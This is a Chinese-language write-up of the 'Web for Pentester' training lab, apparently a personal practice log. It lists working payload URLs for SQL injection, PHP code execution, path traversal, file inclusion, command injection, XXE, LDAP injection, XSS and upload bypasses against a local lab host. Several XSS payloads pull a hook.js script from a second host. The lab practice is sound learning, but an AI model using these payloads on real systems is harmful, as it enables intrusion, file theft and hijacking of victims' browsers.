web for pentester writeup

sql注入:

(1)没有任何过滤的拼接
''

1
http://192.168.3.51/sqli/example1.php?name=root' and 1=12 union select version(),user(),database(),4,5 --+-

''

(2)只过滤了空白符,用/**/代替即可
''

1
http://192.168.3.51/sqli/example2.php?name=root'/**/and/**/1=112/**/union/**/select/**/1,database(),3,4,5/**/%23

''

(3)跟上面一样,只不过这次过滤了多个空白符,bypass方法同上
''

1
http://192.168.3.51/sqli/example3.php?name=root'/**/and/**/1=12/**/union/**/select/**/user(),2,3,4,5/**/%23

''

(4)用mysql_real_escape_string()把传过来的id先转义再拼接,其实这里跟没任何过滤是一样的,因为我们的注入语句里根本也没有单引号这类敏感字符
''

1
http://192.168.3.51/sqli/example4.php?id=2 and 12=1 union select 1,version(),3,4,5 %23

''

(5)要求开头是任意数字,开头本来就是数字呀,搞不懂,所以根本不存在什么绕过,正常写注入语句即可
''

1
http://192.168.3.51/sqli/example5.php?id=2 and 1=12 union select version(),2,3,4,5 %23

''

(6)要求结尾是任意数字,那就按它说的呗,结尾随便给个数字就好了
''

1
http://192.168.3.51/sqli/example6.php?id=2 and 1=12 union select version(),2,3,4,5 %233

''

(7)注意这里的’/m修饰符,对,没错,就是它,表示多行匹配,所以用%0a换行下即可绕过
''

1
http://192.168.3.51/sqli/example7.php?id=2%0aand%0a1=112%0aunion%0aselect%0auser(),2,3,4,5%0a%23

''

(8)用mysql_real_escape_string()做了下转义,而后再拼接,不过需要注意下,这里是用反引号闭合的,虽然没法正常注入,不过盲注依然可行的
''

1
http://192.168.3.51/sqli/example8.php?order=name`,(if((ascii(mid((select version()),1,1))=53),sleep(5),1))%23

''

(9)同上,利用时间盲注依然是可行的
''

1
http://192.168.3.51/sqli/example9.php?order=name,(if((ascii(mid((select version()),1,1))=53),sleep(5),1))%23

''

php代码执行:

(1)把没有任何过滤的内容就直接给eval,将前后的双引号闭合即可
''

1
http://192.168.3.51/codeexec/example1.php?name=";system('ls -la');phpinfo();//

''

(2)同样,对传入的值没有任何过滤,crate_function()相必大家都已经非常熟悉了,专门用来组装函数,在以前的各类php代码执行漏洞中经常能看到它的影子,它会出现代码执行的根本原因还是它内部还会有个eval的动作
''

1
http://192.168.3.51/codeexec/example2.php?order=id,$b->name);}system('ls -al');//

''

(3)preg_replace()本来是个挺正常的正则替换函数,但加了/e修正符后,瞬间就污了很多,要替换的内容的那一部分会被当做php代码来执行
''

1
http://192.168.3.51/codeexec/example3.php?new=system('ls -l')&pattern=/lamer/e&base=Hello lamer

''

(4)闭合前面的单引号,再拼接自己的php代码即可,典型的代码执行函数assert(),不多说,大家应该非常熟悉了,各类php一句话中经常也能看到
''

1
http://192.168.3.51/codeexec/example4.php?name=hacker'.system('ls -la');//

''


任意文件读取:

(1)对传入的文件路径没有进行任何过滤,直接跟上要读的文件即可
''

1
http://192.168.3.51/dirtrav/example1.php?file=../../../../etc/passwd

''

(2)把’/var/www/files/‘这个路径截掉,然后只取后面的文件名,绕过自然也很简单,在这个路径的基础上继续跟上正常的文件路径即可
''

1
http://192.168.3.51/dirtrav/example2.php?file=/var/www/files/../../../../etc/passwd

''

(3)拼接了个.png的后缀,%00截断后缀php高版本早已修复该漏洞
''

1
http://192.168.3.51/dirtrav/example3.php?file=../../../../etc/passwd%00

''

php文件包含:

(1)没有任何过滤的包含,直接包含本地的webshell即可,如下,被包含的大马正常执行
''

1
http://192.168.3.51/fileincl/example1.php?page=../upload/images/404.php

''

(2)在后面拼接了个.php的后缀,同样,利用%00截断
''

1
http://192.168.3.51/fileincl/example2.php?page=../upload/images/404.php%00

''

命令执行:

(1)没有任何过滤的传入,在linux中可用分号分割连续执行多个命令,win中可用&&
''

1
http://192.168.3.51/commandexec/example1.php?ip=127.0.0.1;ls -la

''

(2)一眼看去,这个ip正则确实没法突破,但后面却紧跟了个/m修饰符,不得不又让我想起了%0a换行
''

1
http://192.168.3.51/commandexec/example2.php?ip=127.0.0.1%0als -la

''

(3)header()后面竟然没有结束脚本,大忌,header()只是跳转到指定页面,但如果你不手工结束当前脚本,即使跳到别的页面,当前脚本也依然会执行完再退出
''

1
2
http://192.168.3.51/commandexec/example1.php?ip=127.0.0.1;ls -la
C:\>curl "192.168.3.51/commandexec/example3.php?ip=127.0.0.1;ls" 注意这里不能用浏览器了,因为它会跳过去,不过,你可以用curl来看结果

''

XXE注入:

(1) 对外部的xml数据没有任何过滤,此时创建一个外部实体,而实体的作用是读取/etc/passwd文件,然后引用该实体,注意要url编码下
''

1
2
http://192.168.3.51/xml/example1.php?xml=<!DOCTYPE result [<!ENTITY res SYSTEM "file:///etc/passwd" >]><text>&res;</text>
http://192.168.3.51/xml/example1.php?xml=%3C%21DOCTYPE%20result%20%5B%3C%21ENTITY%20res%20SYSTEM%20%22file%3A%2f%2f%2fetc%2fpasswd%22%20%3E%5D%3E%3Ctext%3E%26res%3B%3C%2ftext%3E

''

(2)没有任何过滤的拼接
''

1
http://192.168.3.51/xml/example2.php?name=hacker'] | //*| //*['

''



ladp注入:

(1)ldap允许匿名登录
''

1
http://192.168.3.51/ldap/example1.php

''

(2)闭合原有的过滤器,把后面的password截断即可
''

1
http://192.168.3.51/ldap/example2.php?name=hacker)(cn=*))%00&password=hacker



xss:

(1)没有任何过滤的情况
''

1
http://192.168.3.51/xss/example1.php?name=<script>alert('hello')</script>

''

(2)只过滤了’‘,大小写转换
''

1
http://192.168.3.51/xss/example2.php?name=<Script>alert('hello')</sCript>

''

(3)这次依然是过滤’‘,且不区分大小写,在>前面加个空格即可绕过
''

1
http://192.168.3.51/xss/example3.php?name=<ScripT >alert('hello')</Script >

''

(4)不分区大小写过滤了’script’字符,没关系,把它转成对应的ASCII就好了
''

1
http://192.168.3.51/xss/example4.php?name=<svg/onload="var i=String.fromCharCode(115, 99, 114, 105, 112, 116);s = createElement(i);body.appendChild(s);s.src='http://192.168.3.28:3000/hook.js';"

''

(5)过滤了alert,可惜我们都没用alert
''

1
http://192.168.3.51/xss/example5.php?name=hacker<script src="http://192.168.3.28:3000/hook.js"></script>

''

(6)闭合前面的双引号,继续写js代码就好了
''

1
http://192.168.3.51/xss/example6.php?name=script";s=document.createElement($a);s.src="http://192.168.3.28:3000/hook.js";document.getElementsByTagName( "head" )[0].appendChild(s);//

''

(7)对特特殊字符进行实体化,但这似乎并没能改变什么
''

1
http://192.168.3.51/xss/example7.php?name=script';s=document.createElement($a);s.src='http://192.168.3.28:3000/hook.js';document.getElementsByTagName( 'head')[0].appendChild(s);//

''

(8)闭合action的另一半双引号,后面再跟上script标记即可绕过
''

1
http://192.168.3.51/xss/example8.php/"><script>alert('hello')</script>

''

(9)location.hash.substr获取的内容没有任何过滤
''

1
http://192.168.3.51/xss/example9.php#<script src=http://192.168.3.28:3000/hook.js></script>

''

php文件上传:

(1)没有任何过滤,直接传php,大马正常执行
''

1
http://192.168.3.51/upload/example1.php

''

''

(2)黑名单绕过,只要.php后缀,.php3即可绕过
''

1
http://192.168.3.51/upload/example2.php

''

''



小结:
    闲的没事儿,拿来跑跑,没啥技术含量,顺带记录下,只为留给有需要的人